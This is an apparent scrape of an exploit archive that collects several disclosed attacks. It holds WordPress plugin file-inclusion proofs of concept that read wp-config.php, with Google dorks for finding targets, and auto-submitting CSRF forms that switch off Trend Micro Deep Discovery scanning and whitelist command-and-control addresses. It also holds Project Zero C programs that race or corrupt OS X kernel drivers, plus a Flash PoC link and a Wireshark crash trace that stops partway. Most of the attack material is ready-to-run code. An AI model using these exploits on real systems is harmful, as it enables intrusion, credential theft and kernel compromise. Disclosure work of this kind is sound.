e&_79_announcementsTypenewsWebsiteCheckbox=on&_79_announcementsTypetestEmail=false&_79_announcementsTypetestSms=false&_79_announcementsTypetestWebsite=true&_79_announcementsTypetestWebsiteCheckbox=on&_79_tabs1TabsScroll=&_79_comments=

3. Solution:

Issue has been resolved in newer versions. Upgrade to 6.1 CE or newer.
HireHackking 
# Exploit Title: Wordpress Plugin Photocart Link - Local File Inclusion
# Exploit Author: CrashBandicot @DosPerl
# Date: 2016-03-27
# Google Dork : inurl:/wp-content/plugins/photocart-link/
# Vendor Homepage: https://fr.wordpress.org/plugins/photocart-link/
# Tested on: MSWin32
# Version: 1.6

# Vuln file : decode.php

<?php
error_reporting(0);
header("Cache-control: private"); 
$new =  base64_decode($_REQUEST['id']);
header("Content-type: image/jpeg");
header("Content-transfer-encoding: binary\n"); 
header("Content-Disposition: filename=do_not_copy_these_images");
header('Cache-control: no-cache');
@readfile($new);
?>

# PoC : /wp-content/plugins/photocart-link/decode.php?id=Li4vLi4vLi4vd3AtY29uZmlnLnBocA==

# Right click -> Save As -> and Read with Notepad file Saved

# 27/03/2016 - Vendor Informed about Issues
HireHackking 
# Exploit Title: Wordpress Plugin IMDb Profile Widget - Local File Inclusion
# Exploit Author: CrashBandicot @DosPerl
# Date: 2016-03-26
# Google Dork : inurl:/wp-content/plugins/imdb-widget
# Vendor Homepage: https://wordpress.org/plugins/imdb-widget/
# Tested on: MSWin32
# Version: 1.0.8

# Vuln file : pic.php

<?php

header( 'Content-Type: image/jpeg' );
readfile( $_GET["url"] );


# PoC : /wp-content/plugins/imdb-widget/pic.php?url=../../../wp-config.php
# Right click -> Save As -> rename pic.jpg in .txt and read file

# 26/03/2016 - Informed Vendor about Issue
# 27/03/2016 - Waiting Reply
HireHackking 
[+] Credits: John Page aka hyp3rlinx

[+] Website: hyp3rlinx.altervista.org

[+] Source:
http://hyp3rlinx.altervista.org/advisories/TRENDMICRO-DDI-CSRF.txt


Vendor:
====================
www.trendmicro.com


Product:
=========================================
Trend Micro Deep Discovery Inspector
V3.8, 3.7

Deep Discovery Inspector is a network appliance that gives you 360-degree
network monitoring of all traffic
to detect all aspects of a targeted attack.


Vulnerability Type:
================================
Cross Site Request Forgery - CSRF


CVE Reference:
==============
N/A


Vulnerability Details:
================================

Trend Micro Deep Discovery suffers from multiple CSRF vectors, if an
authenticated user visits an malicious webpage attackers will
have ability to modify many settings of the Deep Discovery application to
that of the attackers choosing.


Reference:
http://esupport.trendmicro.com/solution/en-US/1113708.aspx

Trend Micro DDI is affected by CSRF vulnerabilities. These affect the
following console features:

Deny List Notifications
Detection Rules
Threat Detections
Email Settings
Network
Blacklisting/Whitelisting
Time
Accounts
Power Off / Restart
DETAILS
The following DDI versions prior to version 3.8 Service Pack 2 (SP2) are
affected:

3.8 English
3.8 Japanese
3.7 English
3.7 Japanese
3.7 Simplified Chinese
Trend Micro has released DDI 3.8 SP2. All versions up to version 3.8 SP1
must upgrade to version 3.8 SP2 (Build 3.82.1133) to address this issue.


Exploit code(s):
===============


1) Shut down all threat scans and malicious file submissions under:
 Administration /Monitoring / Scanning / Threat Detections

<iframe id="demonica" name="demonica"></iframe>

<form id="CSRF-ThreatScans" target="demonica" action="
https://localhost/php/scan_options.php" method="post">
<input type="hidden" name="act" value="set" />
<input type="hidden" name="enable_all" value="0" />
<input type="hidden" name="enable_vsapi" value="1" />
<input type="hidden" name="enable_marsd" value="1" />
<input type="hidden" name="enable_ops" value="1" />
<input type="hidden" name="enable_block" value="0" />
<input type="hidden" name="enable_feedback" value="0" />
<input type="hidden" name="enable_send_suspicious_file" value="0" />
<script>document.getElementById('CSRF-ThreatScans').submit()</script>
</form>


2) Whitelist C&C server menu location:  Detections / C&C Callback Addresses

 <form id="CSRF-Whitelist" target="demonica" action="
https://localhost/php/blacklist_whitelist_query.php" method="post">
<input type="hidden" name="black_or_white" value="ccca" />
<input type="hidden" name="action" value="move_to_white_ccca" />
<input type="hidden" name="delete_list" value='"list":[{"name":"
http://bad.place.com/","list_type":"3"}]}"' />
<input type="hidden" name="comments" value="TEST" />
<script>document.getElementById('CSRF-Whitelist').submit()</script>
</form>


3) Turn off or change email notifications

<form id="CSRF-Notifications" target="demonica" action="
https://localhost/cgi-bin/mailSettings_set.cgi" method="post">
<input type="hidden" name="adm_email_address" value="punksnotdead@hell.com"
/>
<input type="hidden" name="sender_address" value="punksnotdead@hell.com" />
<input type="hidden" name="mail_server" value="x.x.x.x" />
<input type="hidden" name="mail_server_port" value="25" />
<input type="hidden" name="showusername" value="" />
<input type="hidden" name="showpassword" value="" />
<input type="hidden" name="max_notification_per_hour" value="5" />
<input type="hidden" name="check_mail_queue" value="60" />
<input type="hidden" name="server" value="x.x.x.x" />
<input type="hidden" name="port" value="25" />
<input type="hidden" name="admin_address" value="" />
<input type="hidden" name="from_address" value="PWNED@PWNED.com" />
<input type="hidden" name="username" value="" />
<input type="hidden" name="password" value="" />
<input type="hidden" name="freq_limit_interval" value="3600" />
<input type="hidden" name="freq_limit_softlimit" value="5" />
<input type="hidden" name="testconnect" value="config" />
<input type="hidden" name="which_cgi_flag" value="" />
<input type="hidden" name="alert_message" value="" />
<input type="hidden" name="save_status" value="false" />
<script>document.getElementById('CSRF-Notifications').submit()</script>
</form>

4) Change system settings ( x.x.x.x = whatever IP we want )

<form id='PWNED' target="demonica" action="
https://localhost/cgi-bin/admin_ip.cgi" method="post">
<input type="hidden" name="txtHostname" value="localhost" />
<input type="hidden" name="radioType" value="radiobutton" />
<input type="hidden" name="txtIP" value="x.x.x.x" />
<input type="hidden" name="txtNetmask" value="255.255.0.0" />
<input type="hidden" name="txtGateway" value="x.x.x.x" />
<input type="hidden" name="txtDNS1" value="x.x.x.x" />
<input type="hidden" name="txtDNS2" value="x.x.x.x" />
<input type="hidden" name="txtIP_ip6" value="" />
<input type="hidden" name="txtIP_ip6_prefix" value="" />
<input type="hidden" name="txtGateway_ip6" value="" />
<input type="hidden" name="txtDNS1_ip6" value="" />
<input type="hidden" name="td_start" value="Start" />
<input type="hidden" name="td_start" value="Start" />
<input type="hidden" name="td_analyze" value="View" />
<input type="hidden" name="td_export" value="Export" />
<input type="hidden" name="td_reset" value="Reset" />
<input type="hidden" name="button1112" value="Cancel" />
<input type="hidden" name="network_type" value="static" />
<input type="hidden" name="act" value="save" />
<input type="hidden" name="Hostname" value="localhost" />
<input type="hidden" name="IP" value="x.x.x.x" />
<input type="hidden" name="Netmask" value="255.255.0.0" />
<input type="hidden" name="Gateway" value="x.x.x.x" />
<input type="hidden" name="DNS1" value="x.x.x.x" />
<input type="hidden" name="DNS2" value="x.x.x.x" />
<input type="hidden" name="enable_ip6" value="no" />
<input type="hidden" name="network_type_ip6" value="static" />
<input type="hidden" name="IP_ip6" value="" />
<input type="hidden" name="IP_ip6_prefix" value="" />
<input type="hidden" name="Gateway_ip6" value="" />
<input type="hidden" name="DNS1_ip6" value="" />
<input type="hidden" name="port1_nic" value="eth0" />
<input type="hidden" name="port1_type" value="auto" />
<input type="hidden" name="port1_speed" value="" />
<input type="hidden" name="port1_duplex" value="" />
<input type="hidden" name="port1_attr" value="MGMT" />
<input type="hidden" name="port1_cap"
value="auto%3A10H%3A10F%3A100H%3A100F%3A1000F" />
<input type="hidden" name="port1_state" value="1000" />
<input type="hidden" name="port2_nic" value="eth1" />
<input type="hidden" name="port2_type" value="auto" />
<input type="hidden" name="port2_speed" value="" />
<input type="hidden" name="port2_duplex" value="" />
<input type="hidden" name="port2_attr" value="INT" />
<input type="hidden" name="port2_cap"
value="auto%3A10H%3A10F%3A100H%3A100F%3A1000F" />
<input type="hidden" name="port2_state" value="1000" />
<input type="hidden" name="port3_nic" value="eth2" />
<input type="hidden" name="port3_type" value="auto" />
<input type="hidden" name="port3_speed" value="" />
<input type="hidden" name="port3_duplex" value="" />
<input type="hidden" name="port3_attr" value="INT" />
<input type="hidden" name="port3_cap"
value="auto%3A10H%3A10F%3A100H%3A100F%3A1000F" />
<input type="hidden" name="port3_state" value="1000" />
<input type="hidden" name="port4_nic" value="eth3" />
<input type="hidden" name="port4_type" value="auto" />
<input type="hidden" name="port4_speed" value="" />
<input type="hidden" name="port4_duplex" value="" />
<input type="hidden" name="port4_attr" value="INT" />
<input type="hidden" name="port4_cap"
value="auto%3A10H%3A10F%3A100H%3A100F%3A1000F" />
<input type="hidden" name="port4_state" value="-1" />
<input type="hidden" name="port5_nic" value="eth4" />
<input type="hidden" name="port5_type" value="auto" />
<input type="hidden" name="port5_speed" value="" />
<input type="hidden" name="port5_duplex" value="" />
<input type="hidden" name="port5_attr" value="INT" />
<input type="hidden" name="port5_cap"
value="auto%3A10H%3A10F%3A100H%3A100F%3A1000F" />
<input type="hidden" name="port5_state" value="-1" />
<input type="hidden" name="port6_nic" value="eth5" />
<input type="hidden" name="port6_type" value="auto" />
<input type="hidden" name="port6_speed" value="" />
<input type="hidden" name="port6_duplex" value="" />
<input type="hidden" name="port6_attr" value="INT" />
<input type="hidden" name="port6_cap"
value="auto%3A10H%3A10F%3A100H%3A100F%3A1000F" />
<input type="hidden" name="port6_state" value="-1" />
<input type="hidden" name="port7_nic" value="eth6" />
<input type="hidden" name="port7_type" value="manual" />
<input type="hidden" name="port7_speed" value="10000" />
<input type="hidden" name="port7_duplex" value="full" />
<input type="hidden" name="port7_attr" value="INT" />
<input type="hidden" name="port7_cap" value="10000F" />
<input type="hidden" name="port7_state" value="-1" />
<input type="hidden" name="port8_nic" value="eth7" />
<input type="hidden" name="port8_type" value="manual" />
<input type="hidden" name="port8_speed" value="10000" />
<input type="hidden" name="port8_duplex" value="full" />
<input type="hidden" name="port8_attr" value="INT" />
<input type="hidden" name="port8_cap" value="10000F" />
<input type="hidden" name="port8_state" value="-1" />
<input type="hidden" name="port9_nic" value="ext3" />
<input type="hidden" name="port9_type" value="auto" />
<input type="hidden" name="port9_speed" value="" />
<input type="hidden" name="port9_duplex" value="" />
<input type="hidden" name="port9_attr" value="N%2FA" />
<input type="hidden" name="port9_cap" value="" />
<input type="hidden" name="port9_state" value="" />
<input type="hidden" name="port10_nic" value="ext4" />
<input type="hidden" name="port10_type" value="auto" />
<input type="hidden" name="port10_speed" value="" />
<input type="hidden" name="port10_duplex" value="" />
<input type="hidden" name="port10_attr" value="N%2FA" />
<input type="hidden" name="port10_cap" value="" />
<input type="hidden" name="port10_state" value="" />
<input type="hidden" name="port11_nic" value="ext5" />
<input type="hidden" name="port11_type" value="auto" />
<input type="hidden" name="port11_speed" value="" />
<input type="hidden" name="port11_duplex" value="" />
<input type="hidden" name="port11_attr" value="N%2FA" />
<input type="hidden" name="port11_cap" value="" />
<input type="hidden" name="port11_state" value="" />
<input type="hidden" name="port12_nic" value="ext6" />
<input type="hidden" name="port12_type" value="auto" />
<input type="hidden" name="port12_speed" value="" />
<input type="hidden" name="port12_duplex" value="" />
<input type="hidden" name="port12_attr" value="N%2FA" />
<input type="hidden" name="port12_cap" value="" />
<input type="hidden" name="port12_state" value="" />
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<input type="hidden" name="port20_state" value="" />
<input type="hidden" name="tcpdump" value="" />
<input type="hidden" name="interface" value="" />
<input type="hidden" name="vlan_enable" value="0" />
<script>document.getElementById('PWNED').submit()</script>
</form>


Disclosure Timeline:
=======================================
Vendor Notification:  November 23, 2015
March 25, 2016 : Public Disclosure


Exploitation Technique:
=======================
Remote


Severity Level:
================
High


Description:
========================================================================

Request Method(s):        [+] POST


Vulnerable Product:       [+] Trend Micro Deep Discovery Inspector V3.8


========================================================================

[+] Disclaimer
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author.
The author is not responsible for any misuse of the information contained
herein and prohibits any malicious use of all security related information
or exploits by the author or elsewhere.

by hyp3rlinx
HireHackking 
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=708

The external methods IGAccelGLContext::unmap_user_memory and IGAccelCLContext::unmap_user_memory take
an 8 byte struct input which is a user-space pointer previously passed to the equivilent map_user_memory
method.

The Context objects have inline IGHashTable members which store a mapping between those user pointers
and the IGAccelMemoryMap object pointers to which they refer in the kernel. The unmap_user_memory method
calls in order:
  ::contains
  ::get
  ::remove
on the hashmap *before* taking the context's IOLock. This means we can race two threads and by passing them both a valid
mapped user pointer they will both look up the same value in the hash map and return it.

The first exploitable bug is that none of these methods are thread safe; it's quite possible for two threads to be in the
::remove method at the same time and call IOFree on the hash bucket list entry resulting in a double free.

The second bug is that after the call to ::remove although a lock is taken on the Context by this point it's too late; both threads have a pointer to
the same IGAccelMemoryMap which only has one reference. The first thread will call ::release which will free the object, then
the thread will drop the lock, the second thread will acquire it and then use the free'd object before calling ::release again.

This user client code is reachable from many sandboxes including the safari renderer and the chrome gpu process.
*/

//ianbeer

// build: clang -o ig_gl_unmap_racer ig_gl_unmap_racer.c -framework IOKit -lpthread
// repro: while true; do ./ig_gl_unmap_racer; done
//        (try something like this in your boot-args for a nice panic log: gzalloc_min=0x80 gzalloc_max=0x120 -zc -zp)

/*
Use after free and double delete due to incorrect locking in Intel GPU Driver

The external methods IGAccelGLContext::unmap_user_memory and IGAccelCLContext::unmap_user_memory take
an 8 byte struct input which is a user-space pointer previously passed to the equivilent map_user_memory
method.

The Context objects have inline IGHashTable members which store a mapping between those user pointers
and the IGAccelMemoryMap object pointers to which they refer in the kernel. The unmap_user_memory method
calls in order:
  ::contains
  ::get
  ::remove
on the hashmap *before* taking the context's IOLock. This means we can race two threads and by passing them both a valid
mapped user pointer they will both look up the same value in the hash map and return it.

The first exploitable bug is that none of these methods are thread safe; it's quite possible for two threads to be in the
::remove method at the same time and call IOFree on the hash bucket list entry resulting in a double free.

The second bug is that after the call to ::remove although a lock is taken on the Context by this point it's too late; both threads have a pointer to
the same IGAccelMemoryMap which only has one reference. The first thread will call ::release which will free the object, then
the thread will drop the lock, the second thread will acquire it and then use the free'd object before calling ::release again.

This user client code is reachable from many sandboxes including the safari renderer and the chrome gpu process.
*/

#include <stdint.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/mman.h>

#include <mach/mach.h>
#include <mach/vm_map.h>

#include <libkern/OSAtomic.h>

#include <mach/thread_act.h>

#include <pthread.h>

#include <IOKit/IOKitLib.h>


struct mem_desc {
  uint64_t ptr;
  uint64_t size;
};

uint64_t map_user_memory(mach_port_t conn) {
  kern_return_t err;
  void* mem = malloc(0x20000);
  // make sure that the address we pass is page-aligned:
  mem = (void*) ((((uint64_t)mem)+0x1000)&~0xfff);
  printf("trying to map user pointer: %p\n", mem);
  
  uint64_t inputScalar[16] = {0};  
  uint64_t inputScalarCnt = 0;

  char inputStruct[4096] = {0};
  size_t inputStructCnt = 0;

  uint64_t outputScalar[16] = {0};
  uint32_t outputScalarCnt = 0;

  char outputStruct[4096] = {0};
  size_t outputStructCnt = 0;

  inputScalarCnt = 0;
  inputStructCnt = 0x10;

  outputScalarCnt = 4096;
  outputStructCnt = 16;

  struct mem_desc* md = (struct mem_desc*)inputStruct;
  md->ptr = (uint64_t)mem;
  md->size = 0x1000;

  err = IOConnectCallMethod(
   conn,
   0x200, // IGAccelGLContext::map_user_memory
   inputScalar,
   inputScalarCnt,
   inputStruct,
   inputStructCnt,
   outputScalar,
   &outputScalarCnt,
   outputStruct,
   &outputStructCnt); 

  if (err != KERN_SUCCESS){
   printf("IOConnectCall error: %x\n", err);
   //return 0;
  } else{
    printf("worked? outputScalarCnt = %d\n", outputScalarCnt);
  }
    
  printf("outputScalarCnt = %d\n", outputScalarCnt);

  md = (struct mem_desc*)outputStruct;
  printf("0x%llx :: 0x%llx\n", md->ptr, md->size);

  return (uint64_t)mem;
}

uint64_t unmap_user_memory(mach_port_t conn, uint64_t handle) {
  kern_return_t err;
  
  uint64_t inputScalar[16];  
  uint64_t inputScalarCnt = 0;

  char inputStruct[4096];
  size_t inputStructCnt = 0;

  uint64_t outputScalar[16];
  uint32_t outputScalarCnt = 0;

  char outputStruct[4096];
  size_t outputStructCnt = 0;

  inputScalarCnt = 0;
  inputStructCnt = 0x8;

  outputScalarCnt = 4096;
  outputStructCnt = 16;

  *((uint64_t*)inputStruct) = handle;

  err = IOConnectCallMethod(
   conn,
   0x201, // IGAccelGLContext::unmap_user_memory
   inputScalar,
   inputScalarCnt,
   inputStruct,
   inputStructCnt,
   outputScalar,
   &outputScalarCnt,
   outputStruct,
   &outputStructCnt); 

  if (err != KERN_SUCCESS){
   printf("IOConnectCall error: %x\n", err);
  } else{
    printf("worked?\n");
  }
  
  return 0;
}

mach_port_t get_user_client(char* name, int type) {
  kern_return_t err;

  CFMutableDictionaryRef matching = IOServiceMatching(name);
  if(!matching){
   printf("unable to create service matching dictionary\n");
   return 0;
  }

  io_iterator_t iterator;
  err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator);
  if (err != KERN_SUCCESS){
   printf("no matches\n");
   return 0;
  }

  io_service_t service = IOIteratorNext(iterator);
  // should be intel integrated graphics (only tested on MBA)  

  if (service == IO_OBJECT_NULL){
   printf("unable to find service\n");
   return 0;
  }
  printf("got service: %x\n", service);


  io_connect_t conn = MACH_PORT_NULL;
  err = IOServiceOpen(service, mach_task_self(), type, &conn);
  if (err != KERN_SUCCESS){
   printf("unable to get user client connection\n");
   return 0;
  }

  printf("got userclient connection: %x\n", conn);

  return conn;
}

mach_port_t gl_context = MACH_PORT_NULL;
uint64_t handle = 0;


OSSpinLock lock = OS_SPINLOCK_INIT;

void go(void* arg){
  int got_it = 0;
  while (!got_it) {
    got_it = OSSpinLockTry(&lock);
  }

  //usleep(1);

  unmap_user_memory(gl_context, handle);
  printf("called unmap from thread\n");
}





int main(int argc, char** argv){
  // get an IGAccelGLContext
  gl_context = get_user_client("IOAccelerator", 1);

  // get a IGAccelSharedUserClient
  mach_port_t shared = get_user_client("IOAccelerator", 6);

  // connect the gl_context to the shared UC so we can actually use it:
  kern_return_t err = IOConnectAddClient(gl_context, shared);
  if (err != KERN_SUCCESS){
   printf("IOConnectAddClient error: %x\n", err);
   return 0;
  }

  printf("added client to the shared UC\n");

  handle = map_user_memory(gl_context);

  OSSpinLockLock(&lock);

  pthread_t t;
  pthread_create(&t, NULL, (void*) go, NULL);

  usleep(100000);

  OSSpinLockUnlock(&lock);

  unmap_user_memory(gl_context, handle);
  printf("called unmap from main process thread\n");
  pthread_join(t, NULL);


  return 0;


}
HireHackking 
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=709

nvDevice::ReleaseDeviceTexture is external method 0x10a of userclient 5 of the geforce IOAccelerator.
It takes a single uint argument

__text:000000000001BCD2                 mov     r14d, esi
  ...
__text:000000000001BD08                 and     r14d, 7FFFFFFFh   <-- clear upper bit
__text:000000000001BD0F                 mov     rax, [r15+168h]
__text:000000000001BD16                 mov     rdi, [rax+r14*8]  <-- use as array index
__text:000000000001BD1A                 test    rdi, rdi
__text:000000000001BD1D                 jz      short loc_1BD2C
__text:000000000001BD1F                 mov     rax, [rdi]          <-- read vtable
__text:000000000001BD22                 call    qword ptr [rax+28h] <-- call OSObject::release

This userclient is part of the nvidia geforce driver so it's only available on devices with that hardware (eg macbookpro.)

This code is reachable from most interesting sandboxes including the safari renderer and the chrome GPU process.
*/

//ianbeer

// build: clang -o nv_oob nv_oob.c -framework IOKit
// tested on MacBookPro 10,1  w/10.11.3 (15D21) - if you test on machine with a different graphics setup then make you open the correct user client :)

/*
OS X Kernel unchecked array index used to read object pointer then call virtual method in nvdia geforce driver

nvDevice::ReleaseDeviceTexture is external method 0x10a of userclient 5 of the geforce IOAccelerator.
It takes a single uint argument

__text:000000000001BCD2                 mov     r14d, esi
  ...
__text:000000000001BD08                 and     r14d, 7FFFFFFFh   <-- clear upper bit
__text:000000000001BD0F                 mov     rax, [r15+168h]
__text:000000000001BD16                 mov     rdi, [rax+r14*8]  <-- use as array index
__text:000000000001BD1A                 test    rdi, rdi
__text:000000000001BD1D                 jz      short loc_1BD2C
__text:000000000001BD1F                 mov     rax, [rdi]          <-- read vtable
__text:000000000001BD22                 call    qword ptr [rax+28h] <-- call OSObject::release

This userclient is part of the nvidia geforce driver so it's only available on devices with that hardware (eg macbookpro.)

This code is reachable from most interesting sandboxes including the safari renderer and the chrome GPU process.
*/

#include <stdint.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/mman.h>

#include <mach/mach.h>
#include <mach/vm_map.h>

#include <IOKit/IOKitLib.h>

uint64_t release_device_texture(mach_port_t conn) {
  kern_return_t err;
  
  uint64_t inputScalar[16];  
  uint64_t inputScalarCnt = 0;

  char inputStruct[4096];
  size_t inputStructCnt = 0;

  uint64_t outputScalar[16];
  uint32_t outputScalarCnt = 0;

  char outputStruct[4096];
  size_t outputStructCnt = 0;

  inputScalarCnt = 1;
  inputStructCnt = 0;

  outputScalarCnt = 0;
  outputStructCnt = 0;

  inputScalar[0] = 0x0f0f0f0f;

  err = IOConnectCallMethod(
   conn,
   0x10a,
   inputScalar,
   inputScalarCnt,
   inputStruct,
   inputStructCnt,
   outputScalar,
   &outputScalarCnt,
   outputStruct,
   &outputStructCnt); 

  if (err != KERN_SUCCESS){
   printf("IOConnectCall error: %x\n", err);
  } else{
    printf("worked?\n");
  }
  
  return 0;
}

mach_port_t get_user_client(char* name, int type) {
  kern_return_t err;

  CFMutableDictionaryRef matching = IOServiceMatching(name);
  if(!matching){
   printf("unable to create service matching dictionary\n");
   return 0;
  }

  io_iterator_t iterator;
  err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator);
  if (err != KERN_SUCCESS){
   printf("no matches\n");
   return 0;
  }

  io_service_t service = IOIteratorNext(iterator);

  if (service == IO_OBJECT_NULL){
   printf("unable to find service\n");
   return 0;
  }
  printf("got service: %x\n", service);


  io_connect_t conn = MACH_PORT_NULL;
  err = IOServiceOpen(service, mach_task_self(), type, &conn);
  if (err != KERN_SUCCESS){
   printf("unable to get user client connection\n");
   return 0;
  }

  printf("got userclient connection: %x\n", conn);

  return conn;
}



int main(int argc, char** argv){
  mach_port_t gl_context = get_user_client("IOAccelerator", 5);
  release_device_texture(gl_context);
  return 0;

}
HireHackking 
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=710

The AppleKeyStore userclient uses an IOCommandGate to serialize access to its userclient methods, however
by racing two threads, one of which closes the userclient (which frees the IOCommandGate)
and one of which tries to make an external method call we can cause a use-after-free of the IOCommandGate.

Tested on OS X 10.11.3 El Capitan 15D21 on MacBookAir5,2
*/

//ianbeer

//build: clang -o applekeystore_race applekeystore_race.c -framework IOKit -lpthread
//repro: while true; do ./applekeystore_race; done
// try adding -zc -zp gzalloc_min=80 gzalloc_max=120 to your boot args to crash on the use after free

/*
OS X Kernel use-after-free in AppleKeyStore

The AppleKeyStore userclient uses an IOCommandGate to serialize access to its userclient methods, however
by racing two threads, one of which closes the userclient (which frees the IOCommandGate)
and one of which tries to make an external method call we can cause a use-after-free of the IOCommandGate.

Tested on OS X 10.11.3 El Capitan 15D21 on MacBookAir5,2
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#include <IOKit/IOKitLib.h>

#include <libkern/OSAtomic.h>

#include <mach/thread_act.h>

#include <pthread.h>

#include <mach/mach.h>
#include <mach/vm_map.h>
#include <sys/mman.h>
    
unsigned int selector = 0;

uint64_t inputScalar[16];
size_t inputScalarCnt = 0;

uint8_t inputStruct[40960];
size_t inputStructCnt = 0; 

uint64_t outputScalar[16] = {0};
uint32_t outputScalarCnt = 0;

char outputStruct[40960] = {0};
size_t outputStructCnt = 0;

io_connect_t global_conn = MACH_PORT_NULL;

void set_params(io_connect_t conn){
  global_conn = conn;
  selector = 0;
  inputScalarCnt = 4;
  inputStructCnt = 0; 
  outputScalarCnt = 16;
  outputStructCnt = 40960;  
}

void make_iokit_call(){  
  IOConnectCallMethod(
      global_conn,
      selector,
      inputScalar,
      inputScalarCnt,
      inputStruct,
      inputStructCnt,
      outputScalar,
      &outputScalarCnt,
      outputStruct,
      &outputStructCnt);
}

OSSpinLock lock = OS_SPINLOCK_INIT;

void* thread_func(void* arg){
  int got_it = 0;
  while (!got_it) {
    got_it = OSSpinLockTry(&lock);
  }

  make_iokit_call();
  return NULL;
}

mach_port_t get_user_client(char* name, int type) {
  kern_return_t err;

  CFMutableDictionaryRef matching = IOServiceMatching(name);
  if(!matching){
   printf("unable to create service matching dictionary\n");
   return 0;
  }

  io_iterator_t iterator;
  err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator);
  if (err != KERN_SUCCESS){
   printf("no matches\n");
   return 0;
  }

  io_service_t service = IOIteratorNext(iterator);

  if (service == IO_OBJECT_NULL){
   printf("unable to find service\n");
   return 0;
  }
  printf("got service: %x\n", service);


  io_connect_t conn = MACH_PORT_NULL;
  err = IOServiceOpen(service, mach_task_self(), type, &conn);
  if (err != KERN_SUCCESS){
   printf("unable to get user client connection\n");
   return 0;
  }

  printf("got userclient connection: %x\n", conn);

  return conn;
}

int main(int argc, char** argv){
  OSSpinLockLock(&lock);

  pthread_t t;
  pthread_create(&t, NULL, thread_func, NULL);

  mach_port_t conn = get_user_client("AppleKeyStore", 0);
  
  set_params(conn);
  OSSpinLockUnlock(&lock);
  IOServiceClose(conn);
  return 0;
}
HireHackking 
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=716

The ActionScript parameter conversion in the fix for an issue in the December Flash bulletin (https://helpx.adobe.com/security/products/flash-player/apsb15-32.html, most likely one of the UaFs reported by Yuki Chen) can sometimes access a parameter on the native stack that is uninitialized.

If:

var o = {};
o.unwatch();

is called in ActionScript, a parameter array is allocated using alloca(0), which leads to a 16-byte (the minimum size length for alloca in the implementation) that does not get initialized. The conversion function in the UaF check then assumes that at least one parameter has been allocated, and attempts to convert the stack parameter to a string, even though it is a previous value (a UTF string "fffff ... " in the PoC).

A PoC is attached, it is a bit finicky but crashes in the most recent Chrome Flash update. To reproduce, load crasher2.swf?num=15, and then immediately loading crasher2.swf?num=4. The num parameter shifts the stack (for nums between 0 and 31), so changing it around should lead to crashes in different browsers.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39612.zip
HireHackking 
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=750

The following crash due to a static memory out-of-bounds write can be observed in an ASAN build of Wireshark (current git master), by feeding a malformed file to tshark ("$ ./tshark -nVxr /path/to/file"):

--- cut ---
==28209==ERROR: AddressSanitizer: global-buffer-overflow on address 0x7fde2f36bfc4 at pc 0x7fde25b1332c bp 0x7fffe48bc670 sp 0x7fffe48bc668
WRITE of size 4 at 0x7fde2f36bfc4 thread T0
    #0 0x7fde25b1332b in dissect_ber_integer epan/dissectors/packet-ber.c:2001:16
    #1 0x7fde27f46621 in dissect_kerberos_ADDR_TYPE epan/dissectors/../../asn1/kerberos/kerberos.cnf:351:12
    #2 0x7fde25b1959a in dissect_ber_sequence epan/dissectors/packet-ber.c:2415:17
    #3 0x7fde27f4656f in dissect_kerberos_HostAddress epan/dissectors/../../asn1/kerberos/kerberos.cnf:233:12
    #4 0x7fde25b1959a in dissect_ber_sequence epan/dissectors/packet-ber.c:2415:17
    #5 0x7fde27f4badf in dissect_kerberos_EncKrbPrivPart epan/dissectors/../../asn1/kerberos/kerberos.cnf:407:12
    #6 0x7fde25b040f7 in dissect_ber_tagged_type epan/dissectors/packet-ber.c:695:18
    #7 0x7fde27f42384 in dissect_kerberos_ENC_KRB_PRIV_PART epan/dissectors/../../asn1/kerberos/kerberos.cnf:417:12
    #8 0x7fde25b1f100 in dissect_ber_choice epan/dissectors/packet-ber.c:2917:21
    #9 0x7fde27f4139a in dissect_kerberos_Applications epan/dissectors/../../asn1/kerberos/kerberos.cnf:185:12
    #10 0x7fde27f3f7b2 in dissect_kerberos_common epan/dissectors/../../asn1/kerberos/packet-kerberos-template.c:2103:10
    #11 0x7fde27f3e22f in dissect_kerberos_main epan/dissectors/../../asn1/kerberos/packet-kerberos-template.c:2134:10
    #12 0x7fde26f3c34f in dissect_pktc_mtafqdn epan/dissectors/packet-pktc.c:566:15
    #13 0x7fde256145c1 in call_dissector_through_handle epan/packet.c:626:8
    #14 0x7fde25606f3a in call_dissector_work epan/packet.c:701:9
    #15 0x7fde2560670d in dissector_try_uint_new epan/packet.c:1160:9
    #16 0x7fde256072b4 in dissector_try_uint epan/packet.c:1186:9
    #17 0x7fde277709e5 in decode_udp_ports epan/dissectors/packet-udp.c:583:7
    #18 0x7fde2777fa80 in dissect epan/dissectors/packet-udp.c:1081:5
    #19 0x7fde27773840 in dissect_udplite epan/dissectors/packet-udp.c:1094:3
    #20 0x7fde256145c1 in call_dissector_through_handle epan/packet.c:626:8
    #21 0x7fde25606f3a in call_dissector_work epan/packet.c:701:9
    #22 0x7fde2560670d in dissector_try_uint_new epan/packet.c:1160:9
    #23 0x7fde267660bb in ip_try_dissect epan/dissectors/packet-ip.c:1978:7
    #24 0x7fde26770de8 in dissect_ip_v4 epan/dissectors/packet-ip.c:2472:10
    #25 0x7fde26766819 in dissect_ip epan/dissectors/packet-ip.c:2495:5
    #26 0x7fde256145c1 in call_dissector_through_handle epan/packet.c:626:8
    #27 0x7fde25606f3a in call_dissector_work epan/packet.c:701:9
    #28 0x7fde2560670d in dissector_try_uint_new epan/packet.c:1160:9
    #29 0x7fde256072b4 in dissector_try_uint epan/packet.c:1186:9
    #30 0x7fde26f6e380 in dissect_ppp_common epan/dissectors/packet-ppp.c:4344:10
    #31 0x7fde26f6db3c in dissect_ppp_hdlc_common epan/dissectors/packet-ppp.c:5337:5
    #32 0x7fde26f65df5 in dissect_ppp_hdlc epan/dissectors/packet-ppp.c:5378:5
